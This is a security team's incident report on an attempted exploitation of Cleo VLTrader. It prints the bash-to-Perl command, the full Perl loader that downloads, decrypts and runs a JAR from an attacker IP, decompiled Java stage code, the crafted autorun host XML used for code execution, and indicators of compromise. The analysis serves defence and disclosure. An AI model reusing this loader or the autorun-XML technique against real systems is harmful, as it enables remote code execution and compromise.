Analysis and report by Dr. Markus Schmall ( | ) and Simon Peters ( | ) published with friendly permission by Covestro AG.
On 2024-12-07 12:13:04 CET, Covestro's EDR killed a Perl process invoked by the Java application Cleo VLTrader on of our EC2 instances. Analysis resulted in confirmation of an exploitation attempt that was successfully blocked by our EDR. Covestro's internal Cyber Defense and Cloud Security teams conducted an analysis of the attack chain.
The killed Perl process was started by a bash shell which was invoked by VLTrader's Java process directly:
bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4-IDENTIFIER].swp"
Spoiler: there is a report about a Windows-based exploitation using PowerShell from @MaxRogers5 too.
The bash invocation decodes a base64 encoded payload [BASE64_ENCODED_PAYLOAD]
and passes it to the Perl interpreter. Decoding the payload results in a second base64 layer, which is decoded and passed to the Perl interpreter again using Perl's system
function. Hash (SHA256) and size of each layer is as following:
c8b97a8fad967ae2bd4fdc44e49da0c09f986df60e97083e30110e22600fbb5d Base64 Layer 1 1180 bytes
f929ebccb6bbf9e5424220860eca345497908eb583a0b853ea443f1d4b7b59c8 Base64 Layer 2 852 bytes
26352e356446a8883b4897b4ed8503667831bc2200b04ce23dd4b5c692bb9b6b Perl Script 638 bytes
Contents of the final Perl script:
use IO::Socket::INET;
exit unless $s=IO::Socket::INET->new("77.72.85.209:443");
$s->autoflush();
$s->send("TLS v3 [COMMAND_STRING]");
@k=([XOR_INTEGER_ARRAY]);
$f="cleo.1331";
$n=$g=0;
open F,">$f";binmode F;
while(1){sysread($s,$a,9999);last unless length $a;@a=unpack"C*",$a;for($i=0;$i<@a;$i++){$j=$n++&15;$a[$i]^=$k[$j]^$g;$g=($g+$a[$i])&255;$k[$j]=($k[$j]+3)&255;}
print F pack"C*",@a;}
close F;$s->close();
$ENV{query}="[ENVIRONMENT_STRING]";
$ENV{f}=$f;
system("jre/bin/java -jar $f &");
Essentially, the script connects to the IP address 77.72.85.209
, sends an ambiguous command TLS v3 [COMMAND_STRING]
and then starts to receive data from the socket. The received data is "decrypted" by performing a XOR
operation with [XOR_INTEGER_ARRAY]
and persisted into the output file cleo.1331
which is finally executed by system("jre/bin/java -jar $f &")
.
Any stdout from the Perl interpreter will be redirected into webserver/temp/webserver-[UUID4_STRING].swp
, but there was none on our EC2 instance.
Surprisingly, 77.72.85.209
was not flagged as malicious at the time of the incident (2024-12-09):
The downloaded, malicious file cleo.1331
is a JAR
archive, as indicated by passing it to jre/bin/java -jar
.
Surprisingly, its SHA256 hash 6705eea898ef1155417361fa71b1078b7aaab61e7597d2a080aa38df4ad87b1c
was not known to Virustotal:
The JAR artifact is compiled with bytecode version 52, which is Java 8. The only implemented class is start
and contains a download and a decryption (AES) functionality, which relies on information initially stored by the perl script (namely f
and query
environment variables).
Base64.Decoder var11 = Base64.getDecoder();
Base64.Encoder var12 = Base64.getEncoder().withoutPadding();
var10 = System.getenv("f");
byte[] var13 = var11.decode(System.getenv("query").replace('-', '+').replace('_', '/'));
System.arraycopy(var13, 0, var3, 0, 16);
System.arraycopy(var13, 16, var4, 0, 32);
serverIPAttacker = (new String(var13, 48, var13.length - 48)).split(";");
Socket socket = new Socket(serverIPAttacker[0], 443);
InputStream var15 = socket.getInputStream();
OutputStream var16 = socket.getOutputStream();
var16.write(("TLS v3 " + var12.encodeToString(var4)).getBytes());
int var8;
int var9;
for(var8 = 0; (var9 = var15.read(var5, var8, var5.length - var8)) > 0; var8 += var9) {
}
SecretKeySpec var17 = new SecretKeySpec(var3, "AES");
IvParameterSpec var18 = new IvParameterSpec(var2);
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
cipher.init(2, var17, var18);
byte[] var20 = cipher.doFinal(var5, 0, var8 & '\ufff0');
var9 = (var20[0] & 255) + (var20[1] & 255) * 256;
var8 -= 2;
if (var9 <= var8) {
var6 = new byte[var9];
System.arraycopy(var20, 2, var6, 0, var9);
}
The artifact downloaded and decrypted by the JAR is a zipfile:
2ad64de15692083cb1c40f8598783155711ec1be59393a6ada00ae55a9cae4f8 Zipfile 25411 bytes
It contains more Java classes::
1ba95af21bac45db43ebf02f87ecedde802c7de4d472f33e74ee0a5b5015a726 Proc 10251 bytes
429d24e3f30c7e999033c91f32b108db48d669fde1c3fa62eff9da2697ed078e Dwn 5541 bytes
0b7b1b24f85a0107829781b10d08432db260421a7727230f1d3caa854370cb81 Mos 1030 bytes
0c57b317b572d071afd8ccdb844dd6f117e20f818c6031d7ba8adcbd32be0617 Cli 5552 bytes
57ec6d8891c95a259636380f7d8b8f4f8ac209bc245d602bfa9014a4efd2c740 SFile 1870 bytes
87f7627e98c27620dd947e8dd60e5a124fdd3bb7c0f5957f0d8f7da6d0f90dee ScSlot 1411 bytes
f4e5a6027b25ede93b10e132d5f861ed7cca1df7e36402978936019930e52a16 SrvSlot 14426 bytes
1e351bb7f6e105a3eaa1a0840140ae397e0e79c2bdc69d5e1197393fbeefc29b Slot 3364 bytes
f80634ce187ad4834d8f68ac7c93500d9da69ee0a7c964df1ffc8db1b6fff5a9 DwnLevel 342 bytes
We did not pursue the analysis of the malicious Java code from 2nd and 3rd stage any further, since it malicious intention was proven at this point.
To understand why and how invocation of a bash shell was possible, a closer look to the functionality of VLTrader is required.
The application's main log file VLTrader/logs/VLTrader.xml
included messages about a local command execution:
<Event>
<Detail level="1" threadId="[ID]">Executing 'bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4_STRING].swp"'; successful return status is '0'; waiting for process to complete...</Detail>
<Mark date="2024/12/07 12:13:04" TN="21" CN="1" EN="7657"></Mark>
</Event>
Interestingly, the execution seemed to be rather expected. Previous log messages revealed an import procedure of suspicious 'autorun' text files (autorun/healthchecktemplate.txt
, autorun/healthcheck.txt
) and a 'host' configuration XML file (hosts/main.xml
):
<Event>
<Detail level="0">Note: Processing autorun file 'autorun/healthchecktemplate.txt'.</Detail>
<Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>
<Event>
<Detail level="0" color="orange">Warning: VLTrader is version 5.8.0.21, but importing files from a VersaLex with an unknown version.</Detail>
<Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>
<Event>
<Detail level="0">Note: Import started for 'temp/VLTrader8970943597167177302.tmp'.</Detail>
<Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>
<Event>
<Detail level="0">Note: Importing 'hosts/main.xml' (3.457 kBytes)...</Detail>
<Mark date="2024/12/07 12:12:59" EN="[ID]"></Mark>
</Event>
On our EC2 instances, no files matching any of the names could be found, even though the folder VLTrader/autorun
existed.
After extended investigation of the filesystem, we identified an interesting zipfile [UUID4_STRING].zip
in VLTrader/temp
:
f0af03a1107efdc9d1844c9b02141526c0a621b5cf7cb718c139bbfb3640baa6 [UUID4_STRING].zip 3666 bytes
We assume that it was written by VLTrader itself during processing of the 'import'. The zipfile archive contained host/main.xml
, which matched the path of the 'imported' file indicated in the logs:
.
└── hosts
└── main.xml
7c9d8f1f2b367172d12513b145ca54f44ff00815522441065a89d18399466f4c main.xml
The content of main.xml
is a VLTrader "host" configuration. VLTrader uses them to configure outbound connections for exchange interfaces, e.g. using FTPS or HTTPS. A brief overview can be found in the VLTrader documentation:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="[UUID4_STRING]" application="" by="Administrator" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" enc="[UUID4_STRING]" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="<copy>myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" serial="" standaloneaction="False" test="False" transport="" type="" uid="[UUID_STRING]" version="1">
<Connecttype>0</Connecttype>
<Inbox>inbox\</Inbox>
<Index>0</Index>
<Indexdate>-1</Indexdate>
<Internal>0</Internal>
<Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
<Origin>Local Commands</Origin>
<Outbox>outbox\</Outbox>
<Port>0</Port>
<Runninglocalrequired>True</Runninglocalrequired>
<Secureportrequired>False</Secureportrequired>
<Uidswpd>True</Uidswpd>
<Advanced>ZipCompressionLevel=System Default</Advanced>
<Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
<Advanced>HighPriorityIncomingWeight=10</Advanced>
<Advanced>PGPHashAlgorithm=System Default</Advanced>
<Advanced>HighPriorityOutgoingWeight=10</Advanced>
<Advanced>PGPCompressionAlgorithm=System Default</Advanced>
<Advanced>OutboxSort=System Default</Advanced>
<Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
<Mailbox alias="[UUID4_STRING]" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="[UUID_STRING]" version="1">
<Action actiontype="Commands" alias="[UUID4_STRING]" by="Administrator" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" serial="" uid="[UUID_STRING]" version="2">
<Autostartup>False</Autostartup>
<Commands>SYSTEM bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4_STRING].swp"</Commands>
<Filesin>0</Filesin>
<Filesout>0</Filesout>
<Ssl>False</Ssl>
</Action>
</Mailbox>
</Host>
Surprisingly, the original bash invocation is displayed here, as <Command>
attribute:
<Commands>SYSTEM bash -c "echo [BASE64_ENCODED_PAYLOAD]|base64 -d|perl > webserver/temp/webserver-[UUID4_STRING].swp"</Commands>
This command is part of an "action". In VLTrader, "actions" define the interaction with the "host", so for exmaple, execute PUT
or DELETE
commands on the remote host.
One action type is particulary intesting: SYSTEM
. The VLTrader documentation specifies its functionality as "Execute a local system command":
The host.xml
file included by the attacker utilizes the SYSTEM
action type to invoke a bash shell:
<Action actiontype="Commands" alias="[UUID4_STRING]" by="Administrator" class="[CLASS_ID]" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" serial="" uid="[UUID_STRING]" version="2">
Conveniently, VLTrader provides an autorun feature. Configuration files uploaded in a specified directory will be automatically imported and processed. By default, this is VLTrader/autorun
, as stated in the documentation:
We assume the threat actors exploited this autorun mechanism to escalate a remote file inclusion vulnerability into a remote code execution. By uploading crafted VLTrader XML configuration files, they could execute almost any command.
The last puzzle piece remains to be the question how threat actors were able to upload the crafted XML file into the autorun directory.
For VLTrader versions before 5.8.0.21, an unrestricted file upload vulnerability was reported on 2024-11-15 as CVE-2024-50623.
A Tweet from @MaxRogers5 at @Huntress indicates that they observe similar attacks on Cleo VLTrader.
-
Path:
*/cleo.1331
- SHA256:
6705eea898ef1155417361fa71b1078b7aaab61e7597d2a080aa38df4ad87b1c
- Size: 638 bytes
- SHA256:
-
Filename:
VLTrader/temp/[UUID4_STRING].zip
- SHA256:
f0af03a1107efdc9d1844c9b02141526c0a621b5cf7cb718c139bbfb3640baa6
- Size: 3666 bytes
- SHA256:
-
Filename:
VLTrader/temp/[UUID4_STRING].zip/hosts/main.xml
- SHA256:
7c9d8f1f2b367172d12513b145ca54f44ff00815522441065a89d18399466f4c
- SHA256:
-
IP Address:
77.72.85.209